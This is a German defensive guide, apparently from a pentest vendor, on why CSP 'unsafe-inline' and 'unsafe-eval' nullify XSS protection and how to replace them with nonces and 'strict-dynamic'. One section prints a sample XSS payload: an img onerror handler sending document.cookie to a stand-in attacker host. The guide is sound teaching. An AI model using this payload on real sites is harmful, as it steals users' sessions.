CSP erlaubt Inline-Skripte und eval

Eine Content Security Policy, die 'unsafe-inline' enthält, gleicht einer Gästeliste mit dem Vermerk “und im Übrigen jeder, der sich meldet” am Ende. Der Header ist vorhanden, Scanner sind zufrieden, und der Angriff, um den es ging, geht ungehindert hindurch. Im Folgenden lesen Sie, warum diese beiden Ausnahmen so schwer wiegen und wie Sie sie entfernen, ohne Ihre Anwendung zu zerlegen.

Was bedeuten unsafe-inline und unsafe-eval?

'unsafe-inline' und 'unsafe-eval' sind zwei ausdrückliche Ausnahmen in einer Content Security Policy. Die erste erlaubt, dass JavaScript unmittelbar im HTML steht, in einem <script>-Block oder in einem Attribut wie onclick. Die zweite erlaubt der Anwendung, Text in ausführbaren Code zu verwandeln, über eval(), new Function() oder ein setTimeout() mit einer Zeichenkette als Argument.

Beide sind genau die Konstrukte, mit denen ein Cross-Site-Scripting-Angriff arbeitet. Ein Angreifer, dem es gelingt, Text in Ihre Seite zu bringen, braucht kein externes Skript; er schreibt seinen Code einfach an Ort und Stelle. Das Wort unsafe im Namen ist deshalb keine Warnung der Verfasser des Standards, sondern eine sachliche Beschreibung: Sie öffnen die Tür für genau den Angriff, den Sie mit demselben Header zu schließen glaubten.

Der Vergleich mit einer Sprinkleranlage drängt sich auf, deren Haupthahn zugedreht ist. Alles ist vorhanden, alles ist abgenommen, und in dem Moment, in dem es darauf ankommt, geschieht nichts.

Wie wird eine CSP mit unsafe-inline umgangen?

Angenommen, eine Anwendung gibt einen Suchbegriff zurück, ohne ihn korrekt zu maskieren. Mit einer strengen Richtlinie bleibt das ein kosmetisches Problem; mit 'unsafe-inline' ist es eine vollwertige Schwachstelle.

Verwundbar:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'unsafe-inline' 'unsafe-eval'

Auf dem Papier ist das eine ordentliche Richtlinie: Skripte stammen nur von der eigenen Domain. Mit den beiden Ausnahmen akzeptiert der Browser jedoch auch dies:

<!-- Über einen nicht maskierten Suchbegriff in der Seite gelandet -->
<img src=x onerror="fetch('https://boesartig.example/x?c='+document.cookie)">

Es wird kein externes Skript geladen, script-src 'self' wird also nicht verletzt. Der Code steht in einem Attribut, und genau das lässt 'unsafe-inline' zu. Das Session-Cookie geht an den Angreifer, und die CSP hat in diesem gesamten Ablauf keine Rolle gespielt.

Sicher:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-8fK2pQvR7xM1' 'strict-dynamic';
  object-src 'none';
  base-uri 'self'

<!-- Nur dieser Skriptblock trägt die Nonce genau dieser Antwort -->
<script nonce="8fK2pQvR7xM1">
  document.getElementById('suche').focus();
</script>

Der Server erzeugt bei jeder Antwort eine neue, zufällige Nonce, schreibt sie in den Header und an die eigenen Skriptblöcke. Der Browser führt nun ausschließlich Skripte aus, die diesen Wert tragen. Der eingeschleuste onerror-Code trägt keine Nonce und wird abgewiesen; den richtigen Wert kann der Angreifer auch nicht erraten oder wiederverwenden, da er bei der nächsten Anfrage bereits geändert ist. 'strict-dynamic' sorgt dabei dafür, dass Skripte, die Ihr eigener vertrauenswürdiger Code nachlädt, weiterhin funktionieren, ohne dass Sie jedes CDN einzeln erlauben müssen.

Welche Auswirkungen hat eine CSP mit unsafe-inline?

Für sich genommen führt dieser Befund zu keiner unmittelbaren Kompromittierung, weshalb der Schweregrad meist niedrig ausfällt. Die Bedeutung liegt in der Kombination: In dem Moment, in dem irgendwo in der Anwendung ein Einschleusungspunkt besteht, entscheidet genau diese Einstellung über den Unterschied zwischen einem blockierten Skript und einer gestohlenen Sitzung.

Damit wiegt der Befund schwerer, als er auf den ersten Blick wirkt. Eine moderne Anwendung nennenswerten Umfangs enthält fast immer eine Stelle, an der Benutzereingaben unzureichend maskiert werden: in einer selten genutzten Verwaltungsmaske, in einer Fehlermeldung, in einem PDF-Generator oder in einer Komponente eines Dritten. Die CSP ist die Schicht, die genau diesen unvermeidlichen Fehler auffangen soll. Steht daneben 'unsafe-eval', geraten zusätzlich Angriffe über Daten in Reichweite, die erst auf dem Client zu Code verarbeitet werden.

Es gibt noch eine zweite, praktische Seite. Viele Organisationen betrachten “wir haben eine CSP” als abgehakten Punkt auf einer Prüfliste. Eine Richtlinie mit diesen Ausnahmen vermittelt diese Sicherheit zu Unrecht und hält ein Risiko aufrecht, das man abgedeckt glaubt.

Wie spürt man eine CSP mit unsafe-inline auf?

Den Header abzurufen und nach den beiden Schlüsselwörtern zu suchen, ist der Anfang, aber nicht mehr. Ein Tester prüft anschließend, ob Nonces oder Hashes vorhanden sind, die 'unsafe-inline' auf modernen Browsern ohnehin gegenstandslos machen, und ob sich diese Nonces tatsächlich pro Anfrage unterscheiden. Eine feste Nonce in einer zwischengespeicherten Seite ist ein klassischer Fehler, der den gesamten Mechanismus aushebelt.

Zusätzlich wird geprüft, ob 'unsafe-eval' wirklich benötigt wird oder nur historisch stehen geblieben ist, und ob die Anwendung noch eval()-artige Konstrukte enthält. Ebenso relevant: Gilt die strenge Richtlinie überall, oder kennt eine Subdomain oder eine Altmaske eine weiter gefasste Variante, über die ein Angreifer dennoch hereinkommt? AssistSec prüft bei einem Penetrationstest nicht, ob der Header vorhanden ist, sondern ob die Richtlinie eine echte Einschleusung aufhält, einschließlich des Umwegs über erlaubte Quellen, die selbst Nutzerinhalte ausliefern.

Wie verhindert man eine CSP mit unsafe-inline?

• Entfernen Sie 'unsafe-inline' und 'unsafe-eval' aus script-src und ersetzen Sie sie durch pro Anfrage erzeugte Nonces oder durch Hashes fester Skripte.
• Erzeugen Sie Nonces kryptografisch zufällig und nie erneut für eine zweite Antwort; prüfen Sie, dass zwischengespeicherte Seiten keine alte Nonce mitführen.
• Verlagern Sie Inline-Attribute wie onclick und onerror in externe Skriptdateien mit Event-Listenern.
• Ersetzen Sie eval(), new Function() und setTimeout() mit Zeichenkette durch direkte Funktionsaufrufe oder JSON.parse().
• Setzen Sie 'strict-dynamic' ein, wenn Sie viele Skripte dynamisch nachladen, damit Sie nicht jede einzelne Domain erlauben müssen.
• Führen Sie die Änderung schrittweise mit Content-Security-Policy-Report-Only ein, damit Sie sehen, welche Skripte ausfallen würden, bevor Sie erzwingen.
• Räumen Sie auch 'unsafe-inline' bei style-src auf, sobald die wichtigsten Skriptprobleme gelöst sind.
• Nehmen Sie die CSP in Ihre automatisierten Tests auf, damit eine Ausnahme nicht unbemerkt in einem späteren Release zurückkehrt.